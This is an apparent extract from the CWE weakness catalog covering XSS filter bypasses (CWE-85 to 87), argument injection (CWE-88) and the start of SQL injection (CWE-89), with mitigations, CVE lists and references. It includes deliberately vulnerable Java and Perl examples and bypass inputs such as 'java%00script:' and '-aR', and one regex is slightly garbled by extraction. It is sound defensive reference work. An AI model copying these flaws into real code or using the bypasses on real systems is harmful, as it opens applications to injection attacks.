This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script Via Encoded URI Schemes
Software Fault Patterns	SFP24		Tainted input to command

## CWE-85: Doubled Character XSS Manipulations

**Weakness ID :** 85

**Structure :** Simple

**Abstraction :** Variant



### Description

The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
PeerOf		675	Multiple Operations on Resource in Single-Operation Context	1393

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

Resolve all filtered input to absolute or canonical representations before processing.

#### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently



reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

Reference	Description
<b>CVE-2002-2086</b>	XSS using "<script". <a href="https://www.cve.org/CVERecord?id=CVE-2002-2086">https://www.cve.org/CVERecord?id=CVE-2002-2086</a>
<b>CVE-2000-0116</b>	Encoded "javascript" in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0116">https://www.cve.org/CVERecord?id=CVE-2000-0116</a>
<b>CVE-2001-1157</b>	Extra "<" in front of SCRIPT tag. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1157">https://www.cve.org/CVERecord?id=CVE-2001-1157</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DOUBLE - Doubled character XSS manipulations, e.g. "<script"
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
245	XSS Using Doubled Characters

## CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

**Weakness ID :** 86  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.




### Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the product may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
PeerOf		184	Incomplete List of Disallowed Inputs	441

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks;

they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

Reference	Description
<b>CVE-2004-0595</b>	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0595">https://www.cve.org/CVERecord?id=CVE-2004-0595</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Invalid Characters in Identifiers
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
85	AJAX Footprinting
247	XSS Using Invalid Characters

## CWE-87: Improper Neutralization of Alternate XSS Syntax

**Weakness ID :** 87

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊖	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

Resolve all input to absolute or canonical representations before processing.

#### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

#### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Demonstrative Examples

#### Example 1:

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

*Example Language: Java*

*(Bad)*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

### Observed Examples

Reference	Description
<b>CVE-2002-0738</b>	XSS using "&={script}". <a href="https://www.cve.org/CVERecord?id=CVE-2002-0738">https://www.cve.org/CVERecord?id=CVE-2002-0738</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate XSS syntax
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
199	XSS Using Alternate Syntax

## CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

**Weakness ID** : 88

**Structure** : Simple

**Abstraction** : Base

### Description

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

### Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226


*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Weakness Ordinalities

**Primary :**

### Applicable Platforms



**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Language** : PHP (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability	Read Application Data	
Other	Modify Application Data	
<p><i>An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.</i></p>		

### Potential Mitigations

#### Phase: Implementation

*Strategy = Parameterization*

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, `escapeshellarg()` can be used to escape a single argument to `system()`, or `exec()` can be called with an array of arguments. In C, code can often be refactored from using `system()` - which accepts a single string - to using `exec()`, which requires separate function arguments for each parameter.

*Effectiveness = High*

#### Phase: Architecture and Design

*Strategy = Input Validation*

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

**Phase: Implementation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

**Phase: Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Phase: Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Demonstrative Examples****Example 1:**

Consider the following program. It intends to perform an "ls -l" on an input filename. The `validate_name()` subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

*Example Language: Perl*

*(Bad)*

```
my $arg = GetArgument("filename");
do_listing($arg);
sub do_listing {
    my($fname) = @_;
    if (! validate_name($fname)) {
        print "Error: name is not well-formed!\n";
        return;
    }
    # build command
    my $cmd = "/bin/ls -l $fname";
    system($cmd);
}
sub validate_name {
    my($name) = @_;
    if ($name =~ /^[w\.-]+$/) {
        return(1);
    }
    else {
        return(0);
    }
}
```

}

However, `validate_name()` allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using `system()` altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in `validate_name` to force the first character of the filename to be a letter or number, such as:

*Example Language: Perl*

*(Good)*

```
if ($name =~ /\w[\w-]+$/) ...
```

### Example 2:

CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.

The program calls PHP's `mail()` function to compose and send mail. The fifth argument to `mail()` is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking `mail()`, but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].

### Observed Examples

Reference	Description
<b>CVE-2022-36069</b>	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2022-36069">https://www.cve.org/CVERecord?id=CVE-2022-36069</a>
<b>CVE-1999-0113</b>	Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root" <a href="https://www.cve.org/CVERecord?id=CVE-1999-0113">https://www.cve.org/CVERecord?id=CVE-1999-0113</a>
<b>CVE-2001-0150</b>	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0150">https://www.cve.org/CVERecord?id=CVE-2001-0150</a>
<b>CVE-2001-0667</b>	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0667">https://www.cve.org/CVERecord?id=CVE-2001-0667</a>
<b>CVE-2002-0985</b>	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0985">https://www.cve.org/CVERecord?id=CVE-2002-0985</a>
<b>CVE-2003-0907</b>	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2003-0907">https://www.cve.org/CVERecord?id=CVE-2003-0907</a>
<b>CVE-2004-0121</b>	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0121">https://www.cve.org/CVERecord?id=CVE-2004-0121</a>
<b>CVE-2004-0473</b>	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0473">https://www.cve.org/CVERecord?id=CVE-2004-0473</a>
<b>CVE-2004-0480</b>	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0480">https://www.cve.org/CVERecord?id=CVE-2004-0480</a>
<b>CVE-2004-0489</b>	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0489">https://www.cve.org/CVERecord?id=CVE-2004-0489</a>
<b>CVE-2004-0411</b>	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0411">https://www.cve.org/CVERecord?id=CVE-2004-0411</a>
<b>CVE-2005-4699</b>	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4699">https://www.cve.org/CVERecord?id=CVE-2005-4699</a>
<b>CVE-2006-1865</b>	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1865">https://www.cve.org/CVERecord?id=CVE-2006-1865</a>
<b>CVE-2006-2056</b>	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2056">https://www.cve.org/CVERecord?id=CVE-2006-2056</a>
<b>CVE-2006-2057</b>	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2057">https://www.cve.org/CVERecord?id=CVE-2006-2057</a>
<b>CVE-2006-2058</b>	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2058">https://www.cve.org/CVERecord?id=CVE-2006-2058</a>
<b>CVE-2006-2312</b>	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2312">https://www.cve.org/CVERecord?id=CVE-2006-2312</a>








Reference	Description
<b>CVE-2006-3015</b>	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3015">https://www.cve.org/CVERecord?id=CVE-2006-3015</a>
<b>CVE-2006-4692</b>	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability." <a href="https://www.cve.org/CVERecord?id=CVE-2006-4692">https://www.cve.org/CVERecord?id=CVE-2006-4692</a>
<b>CVE-2006-6597</b>	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6597">https://www.cve.org/CVERecord?id=CVE-2006-6597</a>
<b>CVE-2007-0882</b>	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0882">https://www.cve.org/CVERecord?id=CVE-2007-0882</a>
<b>CVE-2001-1246</b>	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1246">https://www.cve.org/CVERecord?id=CVE-2001-1246</a>
<b>CVE-2019-13475</b>	Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command. <a href="https://www.cve.org/CVERecord?id=CVE-2019-13475">https://www.cve.org/CVERecord?id=CVE-2019-13475</a>
<b>CVE-2016-10033</b>	Argument injection in mail-processing function allows writing unexpected files and executing programs using technically-valid email addresses that insert "-o" and "-X" switches. <a href="https://www.cve.org/CVERecord?id=CVE-2016-10033">https://www.cve.org/CVERecord?id=CVE-2016-10033</a>

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf		744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf		810	OWASP Top Ten 2010 Category A1 - Injection	809	2149
MemberOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf		884	CWE Cross-section	884	2327
MemberOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	2182

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2253
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Argument Injection or Modification
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	Imprecise	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	30		Mail Command Injection

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
88	OS Command Injection
137	Parameter Injection
174	Flash Parameter Injection
460	HTTP Parameter Pollution (HPP)

## References

[REF-859]Steven Christey. "Argument injection issues". < <http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1030]Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013 November 3. < <https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html> >.

[REF-1249]Dawid Golunski. "PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033]". 2016 December 5. < <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html> >.

[REF-1250]Dawid Golunski. "Pwning PHP mail() function For Fun And RCE". 2017 May 3. < <https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html> >.

## CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

**Weakness ID** : 89  
**Structure** : Simple  
**Abstraction** : Base

## Description



The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

### Extended Description




Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1720
ParentOf		564	SQL Injection: Hibernate	1207
CanFollow		456	Missing Initialization of a Variable	1029

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf		564	SQL Injection: Hibernate	1207

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
